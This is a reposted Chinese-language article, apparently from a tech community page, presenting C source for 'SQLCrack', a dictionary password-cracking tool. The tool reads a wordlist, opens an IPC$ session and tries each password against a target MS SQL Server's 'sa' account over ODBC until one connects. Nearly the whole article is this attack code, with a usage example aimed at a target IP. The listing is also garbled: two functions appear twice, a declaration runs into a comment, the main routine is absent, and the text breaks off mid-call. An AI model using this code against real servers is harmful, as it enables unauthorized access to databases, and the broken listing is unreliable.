看看駭客如何破解MS SQL SERVER密碼

來源:互聯網
上載者:User
這篇文章的重點是如何探測MS SQL SERVER帳號的密碼,下面以一個執行個體來說明探測密碼的全過程。

//程式所用到的標頭檔
  //定義全域變數

 

  char dict[20000][40],//準備探測的密碼
  UserName[40],//使用者名稱
  target[40],//目標伺服器
  passwd[40];//已經探測出來的正確密碼
  int total=0;//字典裡面單詞數量
  BOOL Cracked=FALSE;//探測密碼成功時此值為TRUE
  //
  //函數:usage
  //功能:顯示程式協助資訊
  //
  void usage()
  {
  printf("\nPower by analyzer〈
[email]inmiao@163.com[/email]
〉"
  "\nhttp://www.infocn.com"
  "\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
  "\nExample:SQLCrack 192.168.0.1 sa c:\pwd.dic 50\n");return;
  }
  //
  //函數:ReadDic
  //功能:從字典檔案裡面讀取資料,傳遞給全域變數dict,準備探測密碼
  //說明:函數運行失敗傳回值1,成功返回0
  //
  int ReadDic(char *dic)
  {
  FILE *fp;
  char tmp[40];
  //開啟字典檔案
  if((fp=fopen(dic,"r"))==NULL)
  {
  printf("\nCan't open %s",dic);
  return 1;
  }
  while(!feof(fp))
  {
  //讀取資料到臨時變數
  if(fgets(tmp,40,fp)==NULL)
  break;
  //這裡別忘了把從檔案裡面讀出來的最後一位元據[分行符號號]去掉,不然就探測不出來密碼了
  strncpy(dict[total],tmp,strlen(tmp)-1);
  total++;
//因為dict定義為dict[20000][40],所以這裡如果字典裡面的單詞超出20000就退出迴圈
  //不然就會溢出啦.可以自行調準
  if(total〉=20000)
  break;
  }
  fclose(fp);
  return 0;
  }
  //
  //函數:ConnIPC
  //功能:建立IPC串連
  //說明:串連失敗傳回值1,成功傳回值0
  //
  int ConnIPC(char *RemoteName)
  {
  NETRESOURCE nr;
  DWORD flags=CONNECT_UPDATE_PROFILE;
  TCHAR RN[30]="",
  LN[5]="";
  strcat(RN,RemoteName);
  strcat(RN,"\ipc$");
  //填充資料結構
  nr.dwType=RESOURCETYPE_DISK;
  nr.lpLocalName=(LPTSTR)&LN;
  nr.lpRemoteName=(LPTSTR)&RN;
  nr.lpProvider=NULL;
  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
  {
 return 0;
  }
  else
  {
  return 1;
  }
  }
  //
  //函數:DelIPC
  //功能:斷開IPC Session
  //說明:成功傳回值0,否則返回1
  //
  int DelIPC(char *RemoteName)
  {
  DWORD ret;
  TCHAR lpName[30]="";
  strcat(lpName,RemoteName);
  strcat(lpName,"\ipc$");
  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
  if(ret==NO_ERROR)
  {
  return 0;
  }
  else
  {
  return 1;
  }
  }
  //
  //函數SQLCheck
  //功能:嘗試用不同密碼串連SQL Server,探測出正確的密碼
  //
  DWORD WINAPI SQLCheck(PVOID pPwd)
  {
  //定義局部變數
  char szBuffer[1025];
  char *pwd;
  SWORD swStrLen;
  SQLHDBC hdbc;
  SQLHANDLE henv;
  SQLRETURN retcode;//ODBC API運行傳回值SCHAR ConnStr[200];//串連資料庫字串
  //取得傳遞過來準備探測的密碼
  pwd=(char *)pPwd;
  //構造串連資料庫字元
  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
  strcat(ConnStr,target);
  strcat(ConnStr,";UID=");
  strcat(ConnStr,UserName);
  strcat(ConnStr,";PWD=");
  strcat(ConnStr,pwd);
  strcat(ConnStr,";DATABASE=master");
  //puts(ConnStr);
  //建立資料庫應用的環境控制代碼
  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
  {
  printf("\nAllocate environment handle failed.\n");
  return 0;
  }
  //printf("henv..");
  //設定ODBC版本環境
  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
  {
  printf("\nSet the ODBC version environment attribute failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //printf("ODBC ver..");
  //建立串連控制代碼
  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
  *)&hdbc)) != SQL_SUCCESS)
  {
  printf("\nAllocate connection handle failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //printf("hdbc..");
  //串連資料來源
  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),szBuffer,sizeof
(szBuffer),&swStrLen,
  SQL_DRIVER_COMPLETE_REQUIRED);
  //printf("conn..");
  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
  {
  //串連失敗,函數終止
  //printf("\nCouldn't connect to %s MSSQL server.\n",target);
  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //串連遠程MSSQL Server資料庫成功
  Cracked=TRUE;
  strcpy(passwd,pwd);
  //puts(szBuffer);
  //顯示串連遠端資料庫的字串
  //中斷連線
  SQLDisconnect(hdbc);
  //printf("disconn..");
  //釋放串連控制代碼
  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
  //printf("free hdbc..");
  //釋放環境控制代碼
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  //printf("free henv..\n");
  return 0;
  }
  //
  //函數:DelIPC
  //功能:斷開IPC Session
  //說明:成功傳回值0,否則返回1
  //
  int DelIPC(char *RemoteName)
  {
  DWORD ret;
  TCHAR lpName[30]="";
  strcat(lpName,RemoteName);
  strcat(lpName,"\ipc$");ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,
TRUE);
  if(ret==NO_ERROR)
  {
  return 0;
  }
  else
  {
  return 1;
  }
  }
  //
  //函數SQLCheck
  //功能:嘗試用不同密碼串連SQL Server,探測出正確的密碼
  //
  DWORD WINAPI SQLCheck(PVOID pPwd)
  {
  //定義局部變數
  char szBuffer[1025];
  char *pwd;
  SWORD swStrLen;
  SQLHDBC hdbc;
  SQLHANDLE henv;
  SQLRETURN retcode;//ODBC API運行傳回值
  SCHAR ConnStr[200];//串連資料庫字串
  //取得傳遞過來準備探測的密碼
  pwd=(char *)pPwd;
  //構造串連資料庫字元
  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
  strcat(ConnStr,target);
  strcat(ConnStr,";UID=");
  strcat(ConnStr,UserName);
  strcat(ConnStr,";PWD=");
  strcat(ConnStr,pwd);
  strcat(ConnStr,";DATABASE=master");
  //puts(ConnStr);
  //建立資料庫應用的環境控制代碼
  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS){
  printf("\nAllocate environment handle failed.\n");
  return 0;
  }
  //printf("henv..");
  //設定ODBC版本環境
  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
  {
  printf("\nSet the ODBC version environment attribute failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //printf("ODBC ver..");
  //建立串連控制代碼
  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
  *)&hdbc)) != SQL_SUCCESS)
  {
  printf("\nAllocate connection handle failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //printf("hdbc..");
  //串連資料來源
  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
  szBuffer,sizeof(szBuffer),&

出處:計世網

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.